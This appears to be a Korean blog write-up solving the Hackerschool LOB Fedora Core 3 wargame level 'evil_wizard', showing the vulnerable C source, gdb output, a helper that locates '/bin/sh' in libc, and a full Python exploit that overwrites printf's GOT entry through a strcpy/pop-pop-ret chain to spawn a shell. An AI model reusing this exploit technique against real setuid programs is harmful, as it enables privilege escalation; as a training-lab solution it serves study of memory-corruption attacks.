해커스쿨 LOB FC3 [hell_fire -> evil_wizard] 풀이입니다.
ID | hell_fire
PW | sign me up
으로 로그인합니다.
$ ls -l
를 이용해 어떤 파일과 폴더가 있는지 확인하고,
$ cat [문제이름].c
를 이용해 소스코드를 확인합니다.
/*
The Lord of the BOF : The Fellowship of the BOF
- evil_wizard
- Local BOF on Fedora Core 3
- hint : GOT overwriting
*/
// magic potion for you
void pop_pop_ret(void)
{
asm("pop %eax");
asm("pop %eax");
asm("ret");
}
int main(int argc, char *argv[])
{
char buffer[256];
char saved_sfp[4];
int length;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// for disturbance RET sleding
length = strlen(argv[1]);
// healing potion for you
setreuid(geteuid(), geteuid());
setregid(getegid(), getegid());
// save sfp
memcpy(saved_sfp, buffer+264, 4);
// overflow!!
strcpy(buffer, argv[1]);
// restore sfp
memcpy(buffer+264, saved_sfp, 4);
// disturbance RET sleding
memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
printf("%s\n", buffer);
}
위 쪽에서 strcpy함수 주소도 구할 수 있다.
(gdb) x/i 0x8048424
0x8048424 <_init+88>: jmp ds:0x8049884
printf .got = 0x8049884
(gdb) disas pop_pop_ret
Dump of assembler code for function pop_pop_ret:
0x0804854c <pop_pop_ret+0>: push ebp
0x0804854d <pop_pop_ret+1>: mov ebp,esp
0x0804854f <pop_pop_ret+3>: pop eax
0x08048550 <pop_pop_ret+4>: pop eax
0x08048551 <pop_pop_ret+5>: ret
0x08048552 <pop_pop_ret+6>: leave
0x08048553 <pop_pop_ret+7>: ret
End of assembler dump.
c0 : 0x8048420
[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "07" --color=auto
8048148 03000000 0f000000 0d000000 07000000 ................
1 2 3 4 5 6 7 8 9 | #include "stdio.h" #include "string.h" int main(void){ long shell = 0x7507c0; // <=== system()함수의 주소 while(memcmp((void*)shell,"/bin/sh\x00",8)) shell++; printf("\"bin/sh\" is at 0x%lx\n", shell); } | cs |
[hell_fire@Fedora_1stFloor ~]$ vi find_binsh.c
[hell_fire@Fedora_1stFloor ~]$ gcc -o find_binsh find_binsh.c
[hell_fire@Fedora_1stFloor ~]$ ./find_binsh
"bin/sh" is at 0x833603
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | import os import struct p32 = lambda x: struct.pack("<I", x) target = "/home/hell_fire/evil_wizard" printf_plt = 0x8048424 printf_got = 0x8049884 strcpy_plt = 0x8048494 ppr = 0x804854f binsh = 0x833603 payload = 'A' * 268 payload += p32(strcpy_plt) payload += p32(ppr) payload += p32(printf_got + 0) payload += p32(0x8048420) payload += p32(strcpy_plt) payload += p32(ppr) payload += p32(printf_got + 1) payload += p32(0x8048154) payload += p32(strcpy_plt) payload += p32(ppr) payload += p32(printf_got + 2) payload += p32(0x80482c8) payload += p32(strcpy_plt) payload += p32(ppr) payload += p32(printf_got + 3) payload += p32(0x8048138) payload += p32(printf_plt) payload += "AAAA" payload += p32(binsh) os.execv(target, (target, payload[:-1])) | cs |
'System Hacking > LOB FC' 카테고리의 다른 글
| 해커스쿨 LOB FC4 [dark_stone -> cruel] 풀이 (0) | 2019.02.20 |
|---|---|
| 해커스쿨 LOB FC3 [evil_wizard -> dark_stone] 풀이 (0) | 2019.02.20 |
| 해커스쿨 LOB FC3 [dark_eyes -> hell_fire] 풀이 (0) | 2018.08.18 |
| 해커스쿨 LOB FC3 [iron_golem -> dark_eyes] 풀이 (0) | 2018.08.18 |
| 해커스쿨 LOB FC3 [gate -> iron_golem] 풀이 (0) | 2018.08.17 |